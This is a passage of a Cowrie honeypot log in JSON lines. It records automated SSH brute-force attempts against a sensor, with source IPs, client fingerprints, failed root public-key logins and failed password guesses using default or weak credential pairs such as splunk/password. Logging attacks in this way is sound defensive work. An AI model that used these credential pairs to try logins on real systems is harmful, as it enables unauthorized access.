{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:ef:30:21:cc:7e:ed:04:b0:a3:9a:49:0f:dd:53:c7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP2fz5n40jOLVfCCZcrFVenPEd8PF0DbjuaJeZQZFmQwkcJ2DbctVh7Vv1/9AovviKP1pfs6CNoO9Vrc4bPgeaY5OLhA9sxB8aQNrvHQdV8Ytke6FjWZn7gmX0jFEL/LfoxI9HHm9LUfQNVmAF4m1cXLObVA85hxwLHXta87k1MVAAAAFQCGB4vVW/B70O82UxshbqFLbTLU5wAAAIAmhJSIiqz1I3fnoEReuor8y05slcgZat6Mk9ej4hpc+zcYkeWp2k7HMtY3EH4UtN68H083glwV6ZgIuNQZSdAH4RgS1NcJavF30iTHe5K593NMeriYCmrlrrskKjs2zq5Gl1R2kdqbyWPDvjwK8lNWZF5LOjPwNGL7ykaeEuI55wAAAIB02+sgcPecF6L4Pdn5ZeaL/TF7eh8E/hUj4PcXm8xXJ4YYTc7KGbD+589gksF9eTRIqaWPs09UOT2K1cWxKPeH4vcX2eqVBQSslP5FudrB4ih4Qx8wLxxfXZ39UEiOjOMn88aBzETcu85ZEHEfgMuvJz83LJ1MArg58QUFpAPdFQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.266946Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.284024Z","src_ip":"8.219.200.1","session":"a0139829c1f5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:b0:7f:61:24:bb:7b:ca:f1:44:ed:de:83:ad:63:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZCm7ZWns4Xj0HJVlNg234i1nARRn8/afmtpJF1drkUdNbQQgkrP8qETV0XsyE0lkPNgSHGgdt1dS5KszlBSMFFIZraEs0gvtXaTfH2aOiXyV7b8UPj+s4OW05pT/irel2yDiIBGzYgF3XCBo6mNO+OGSqCGTYOQi2UKSST8kh7K0/JhoyTEp/yuTujdZGhqWcRgpUJU1nNE7K/5c2ux/afW9UizUc2R5KrYBKn05/dl3LfE5dLQJICyPAjSk+OmxeDPy2JiS0ZD3D8zUhNAxk3vEAGlYI+Nn2G2VLHO/LStv+KsmGlIXVB9ZFJlAME7K+49rADBrpi5Y7edBwxARL2LRzU7oAo804uMlxpjnajQG4E7hxptLjOil9OqCY0fqeg38fidv1R+IqErlZOJ8yU2P3Fx6iwiIjev+i2DBXXPLnTxQOqnGrTh/MrwUKhTnbOQaX/Dg9RSh8E519Q+tqOOzXraGDJb2b1E6uGDBDuJiH5a7o0Ga6ZRwaLwEWg/1zpOESgogU+fERmXiSdSVG9CNiSR8FgYINVcOAuiUIRr/3w4PUW+UTS2w09agL39QgxZlQh/edaIeTnaWdzXr3x26QmXLJpQlahDHaEH4Srccg13DTPizm9JnSqsoQvSWYEwF6a8d9ztngltn4EyzaK1dx7RzghcCt7PvTUwPoiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:b0:7f:61:24:bb:7b:ca:f1:44:ed:de:83:ad:63:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.349941Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:b0:7f:61:24:bb:7b:ca:f1:44:ed:de:83:ad:63:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZCm7ZWns4Xj0HJVlNg234i1nARRn8/afmtpJF1drkUdNbQQgkrP8qETV0XsyE0lkPNgSHGgdt1dS5KszlBSMFFIZraEs0gvtXaTfH2aOiXyV7b8UPj+s4OW05pT/irel2yDiIBGzYgF3XCBo6mNO+OGSqCGTYOQi2UKSST8kh7K0/JhoyTEp/yuTujdZGhqWcRgpUJU1nNE7K/5c2ux/afW9UizUc2R5KrYBKn05/dl3LfE5dLQJICyPAjSk+OmxeDPy2JiS0ZD3D8zUhNAxk3vEAGlYI+Nn2G2VLHO/LStv+KsmGlIXVB9ZFJlAME7K+49rADBrpi5Y7edBwxARL2LRzU7oAo804uMlxpjnajQG4E7hxptLjOil9OqCY0fqeg38fidv1R+IqErlZOJ8yU2P3Fx6iwiIjev+i2DBXXPLnTxQOqnGrTh/MrwUKhTnbOQaX/Dg9RSh8E519Q+tqOOzXraGDJb2b1E6uGDBDuJiH5a7o0Ga6ZRwaLwEWg/1zpOESgogU+fERmXiSdSVG9CNiSR8FgYINVcOAuiUIRr/3w4PUW+UTS2w09agL39QgxZlQh/edaIeTnaWdzXr3x26QmXLJpQlahDHaEH4Srccg13DTPizm9JnSqsoQvSWYEwF6a8d9ztngltn4EyzaK1dx7RzghcCt7PvTUwPoiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.355153Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:43:36:c8:39:64:5b:58:97:17:52:b8:6e:08:1b:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQEu7lXdAJPwo3/Pv6691smdNeee9agJJTRt9WU6am03BVuzwgkR8rgddDc1sIKSeWasWzSCVaBNrvfLb8h82a4ekyP57lRK/76KxvFXH2rQqZ41pM5svIRiIt2rB01yCT3U/H8KwV4/ZQAsgwBOCokdsnh4Hkpa2jgk1XFXun4apNyB4qCw035nZFphk20ya5bmMU6CoDHtL8h3BhziU9YJNLu/9gtmy0jpC9MEKw1QuUkAsR1ziaMJMoGa07uiO2C8EBXh5UukeZK7VVeoUpEUAkO5hFpu/QwUSoRz/YhFeO2s2yR3JxeCZYaWW2vZe7t1eymOTh+wvKshz6vAioyv6wY7TbVZAS0a8qVIWo345YCJvpawdIOzMqg7YIewPNio9KT6qu2w7CJ3wZ1bedk8r3cibhpxxuM4D6XrorO3sDBuhdbDu/OoOdOckzcPmj/WyGcLwo9N6v+fe/qSckU1ygnjHlTWzJ3GcPHGFcWT1Ecb2pfOEgP277IHoC4zsehuSR6Jqcag/Zna2IDEy00lWEmpx2tdwqrjUBB15eXzk4KlCWBE/3UbanMfRbarWZSILI+btFrgnatCKfpPbHRw7c3692BxxvKJXLqDJ8uk4js62gGShxeNMeRcEjbh+FYUPG3ohIw0PTbYazhBGcAQpj7EzrnJlTA1zBnQjNcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:43:36:c8:39:64:5b:58:97:17:52:b8:6e:08:1b:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.439134Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:43:36:c8:39:64:5b:58:97:17:52:b8:6e:08:1b:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQEu7lXdAJPwo3/Pv6691smdNeee9agJJTRt9WU6am03BVuzwgkR8rgddDc1sIKSeWasWzSCVaBNrvfLb8h82a4ekyP57lRK/76KxvFXH2rQqZ41pM5svIRiIt2rB01yCT3U/H8KwV4/ZQAsgwBOCokdsnh4Hkpa2jgk1XFXun4apNyB4qCw035nZFphk20ya5bmMU6CoDHtL8h3BhziU9YJNLu/9gtmy0jpC9MEKw1QuUkAsR1ziaMJMoGa07uiO2C8EBXh5UukeZK7VVeoUpEUAkO5hFpu/QwUSoRz/YhFeO2s2yR3JxeCZYaWW2vZe7t1eymOTh+wvKshz6vAioyv6wY7TbVZAS0a8qVIWo345YCJvpawdIOzMqg7YIewPNio9KT6qu2w7CJ3wZ1bedk8r3cibhpxxuM4D6XrorO3sDBuhdbDu/OoOdOckzcPmj/WyGcLwo9N6v+fe/qSckU1ygnjHlTWzJ3GcPHGFcWT1Ecb2pfOEgP277IHoC4zsehuSR6Jqcag/Zna2IDEy00lWEmpx2tdwqrjUBB15eXzk4KlCWBE/3UbanMfRbarWZSILI+btFrgnatCKfpPbHRw7c3692BxxvKJXLqDJ8uk4js62gGShxeNMeRcEjbh+FYUPG3ohIw0PTbYazhBGcAQpj7EzrnJlTA1zBnQjNcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.442581Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:62:78:a9:da:a5:70:14:cc:79:c1:27:36:ff:ee:14","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMFm64H/fSV98Upc/R/kuncDk9qBosikvgGUaIgNwp9b","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 31:62:78:a9:da:a5:70:14:cc:79:c1:27:36:ff:ee:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.525916Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:62:78:a9:da:a5:70:14:cc:79:c1:27:36:ff:ee:14","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMFm64H/fSV98Upc/R/kuncDk9qBosikvgGUaIgNwp9b","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.529206Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.613174Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.994492Z","src_ip":"8.219.200.1","session":"a0139829c1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:56.233903Z","src_ip":"8.219.200.1","session":"a0139829c1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40310,"dst_ip":"10.17.0.5","dst_port":22,"session":"f95275381951","protocol":"ssh","message":"New connection: 45.156.87.147:40310 (10.17.0.5:22) [session: f95275381951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:57.156182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:57.227217Z","src_ip":"45.156.87.147","session":"f95275381951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:57.297361Z","src_ip":"45.156.87.147","session":"f95275381951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:57.573675Z","src_ip":"45.156.87.147","session":"f95275381951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:58.659684Z","src_ip":"45.156.87.147","session":"f95275381951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59138,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbfd6845fa7b","protocol":"ssh","message":"New connection: 45.156.87.147:59138 (10.17.0.5:22) [session: dbfd6845fa7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:03.498293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:03.502459Z","src_ip":"45.156.87.147","session":"dbfd6845fa7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:03.594145Z","src_ip":"45.156.87.147","session":"dbfd6845fa7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"12345678","message":"login attempt [alex/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:03.845577Z","src_ip":"45.156.87.147","session":"dbfd6845fa7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162243843079,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:04.905257Z","src_ip":"128.199.8.54","session":"4311c6d44df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:04.933201Z","src_ip":"45.156.87.147","session":"dbfd6845fa7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43552,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c9375b982d2","protocol":"ssh","message":"New connection: 45.156.87.147:43552 (10.17.0.5:22) [session: 3c9375b982d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:09.779493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:09.786020Z","src_ip":"45.156.87.147","session":"3c9375b982d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:09.868885Z","src_ip":"45.156.87.147","session":"3c9375b982d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:10.122798Z","src_ip":"45.156.87.147","session":"3c9375b982d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:11.212189Z","src_ip":"45.156.87.147","session":"3c9375b982d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":32910,"dst_ip":"159.203.135.109","dst_port":22,"session":"0225a5bf997f","protocol":"ssh","message":"New connection: 103.189.235.114:32910 (159.203.135.109:22) [session: 0225a5bf997f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:13.334163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:13.338501Z","src_ip":"103.189.235.114","session":"0225a5bf997f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:13.579540Z","src_ip":"103.189.235.114","session":"0225a5bf997f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"libcal","password":"libcal","message":"login attempt [libcal/libcal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:14.581839Z","src_ip":"103.189.235.114","session":"0225a5bf997f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:15.827860Z","src_ip":"103.189.235.114","session":"0225a5bf997f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43570,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e564fd78d4c","protocol":"ssh","message":"New connection: 45.156.87.147:43570 (10.17.0.5:22) [session: 0e564fd78d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:16.019963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:16.065243Z","src_ip":"45.156.87.147","session":"0e564fd78d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS